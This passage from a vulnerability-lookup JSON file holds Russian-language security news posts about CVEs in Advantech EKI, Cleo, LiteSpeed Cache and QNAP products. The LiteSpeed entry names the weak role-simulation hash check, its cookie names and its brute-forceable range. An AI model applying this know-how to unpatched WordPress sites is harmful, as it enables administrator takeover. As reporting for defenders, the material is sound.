\u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u041a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Nozomi Networks \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Advantech EKI, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n6 \u0438\u0437 20 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u043e\u0442 CVE-2024-50370 \u0434\u043e CVE-2024-50375 \u0441 CVSS: 9,8) \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u043f\u0443\u0442\u0435\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430, \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438 \u0434\u0430\u0436\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 Linux \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 CVE-2024-50376 (CVSS: 7,3) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 CVE-2024-50359 (CVSS: 7,2) \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u043e \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n7. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Jenkins \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0432\u0443\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.", "creation_timestamp": "2024-11-29T17:20:05.000000Z"}, {"uuid": "4951e28a-6fb7-4813-b91f-a895a3355ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/true_secator/6595", "content": "\u0412 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u0430\u043d\u0434\u0430 Cl0p \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0438\u043c\u0435\u043d\u0430 \u0441\u0432\u043e\u0438\u0445 66 \u0436\u0435\u0440\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430 \u0434\u043d\u044f\u0445 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0430 DLS \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0-day \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Cleo.\n\n\u0412 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f Cleo \u0432\u0437\u044f\u043b\u0438 \u043d\u0430 \u0441\u0435\u0431\u044f \u043e\u0442\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u0430\u0442\u0430\u043a\u0438 Cleo, \u0437\u0430\u044f\u0432\u0438\u0432 \u043e \u0432\u0437\u043b\u043e\u043c\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0446\u0435\u043b\u0435\u0439. \u041d\u0430 DLS \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043b\u0438 \u0442\u0435\u0445, \u0441 \u043a\u0435\u043c \u0435\u0449\u0435 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u0432\u044f\u0437\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0443\u0441\u043b\u043e\u0432\u0438\u0439 \u0432\u044b\u043a\u0443\u043f\u0430.\n\n\u041e\u0434\u043d\u0443 \u0438\u0437 \u043d\u0438\u0445 \u0432\u0441\u0435 \u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u0447\u0438\u043b\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u043b\u0430\u043d\u043e\u0432. \u0416\u0435\u0440\u0442\u0432\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a Blue Yonder. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c 30 \u0434\u0435\u043a\u0430\u0431\u0440\u044f, \u0435\u0441\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043d\u0435 \u0432\u044b\u0439\u0434\u0435\u0442 \u043d\u0430 \u0441\u0432\u044f\u0437\u044c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u00a0\u0430\u0442\u0430\u043a\u0430 Blue Yonder, \u043f\u043e\u0440\u0430\u0437\u0438\u0432\u0448\u0430\u044f \u0441\u043b\u0435\u0434\u043e\u043c Starbucks \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 \u043e\u0431\u0449\u0435\u043f\u0438\u0442\u0430, \u0431\u044b\u043b\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Cleo.\n\n\u041f\u0440\u0430\u0432\u0434\u0430 \u0442\u043e\u0433\u0434\u0430, \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u00a0\u0437\u0430 \u0430\u0442\u0430\u043a\u0443 Blue Yonder \u0432\u0437\u044f\u043b\u0430 \u043d\u0430 \u0441\u0435\u0431\u044f \u043d\u043e\u0432\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Termite, \u043d\u043e \u043f\u043e\u0437\u0436\u0435 \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0437\u0430 \u043d\u0435\u0439 \u0441\u0442\u043e\u044f\u0442 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u043e MOVEit \u0438 \u043f\u0440\u043e\u0447\u0438\u043c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 Cl0p.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 Harmony, VLTrader \u0438 LexiCom \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CVE-2024-50623 \u0438 CVE-2024-55956 \u043c\u043e\u0433\u0443\u0442 \u0441\u0442\u043e\u044f\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u044b \u0443\u0433\u0440\u043e\u0437 \u0441 \u0442\u0435\u0445 \u043f\u043e\u0440, \u043a\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 Cleo.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443 Cleo \u0431\u043e\u043b\u0435\u0435 4000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u043d\u043e\u0432\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0441 \u043f\u0440\u043e\u0448\u043b\u044b\u043c\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 Cl0p. \u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-12-28T13:06:09.000000Z"}, {"uuid": "55cc639b-36c3-4330-82b0-f9669dafd0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50550", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6387", "content": "Patchstack \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 LiteSpeed Cache WordPress \u0441 \u0448\u0435\u0441\u0442\u044c\u044e \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430\u043c\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f\u043c \u0441\u0430\u0439\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\nCVE-2024-50550 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0441\u043b\u0430\u0431\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0445\u044d\u0448\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u00ab\u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u0440\u043e\u043b\u0435\u0439\u00bb \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0439 \u0434\u043b\u044f \u0438\u043c\u0438\u0442\u0430\u0446\u0438\u0438 \u0440\u043e\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u0441\u043a\u0430\u043d\u0435\u0440\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0441 \u0440\u0430\u0437\u043d\u044b\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f ('is_role_simulation()') \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0434\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043b\u0430\u0431\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0445\u044d\u0448-\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0435\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 cookie ('litespeed_hash' \u0438 'litespeed_flash_hash').\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u0438 \u0445\u0435\u0448\u0438 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u043c\u0438 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0445\u0435\u0448-\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u043c\u0435\u044e\u0442 \u0434\u043b\u0438\u043d\u0443 32 \u0441\u0438\u043c\u0432\u043e\u043b\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c \u0438\u0445 \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0439.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0431\u0430\u0437\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 Patchstack 23 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0434\u0435\u043d\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0430\u0441\u044c \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 LiteSpeed.\n\n\u041f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0430\u0431\u043e\u0447\u0438\u0439 PoC, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0440\u0435\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0431\u044b\u043b \u0433\u043e\u0442\u043e\u0432 \u043a 10 \u043e\u043a\u0442\u044f\u0431\u0440\u044f \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u043d LiteSpeed \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044f.\n\n17 \u043e\u043a\u0442\u044f\u0431\u0440\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a LiteSpeed Technologies \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f CVE-2024-50550 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 6.5.2 \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0443\u043b\u0443\u0447\u0448\u0438\u0432 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0441\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0445\u044d\u0448-\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u0441\u0434\u0435\u043b\u0430\u0432 \u0438\u0445 \u043f\u043e\u0434\u0431\u043e\u0440 \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e\u00a0\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 WordPress, \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u043e\u043a\u043e\u043b\u043e 2 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0435\u0449\u0435 4 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430 \u0441\u0430\u0439\u0442\u043e\u0432 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438.", "creation_timestamp": "2024-11-01T18:05:05.000000Z"}, {"uuid": "a27dbb02-e059-4b3c-9947-2564f814e86e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50388", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6377", "content": "\u041d\u0430\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0433\u043e\u0440\u044c\u043a\u0438\u043c \u043e\u043f\u044b\u0442\u043e\u043c \u0430\u0442\u0430\u043a \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 DeadBolt, Qlocker, eCh0raix \u0438 AgeLocker \u0437\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a NAS-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 QNAP \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043d\u044f\u043b\u0441\u044f \u043a \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c Pwn2Own Ireland 2024 \u043d\u0443\u043b\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u041f\u041e.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u0430\u044f 0-day \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-50388 \u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0432\u00a0HBS 3 Hybrid Backup Sync\u00a0\u0432\u0435\u0440\u0441\u0438\u0438 25.1.x, \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432 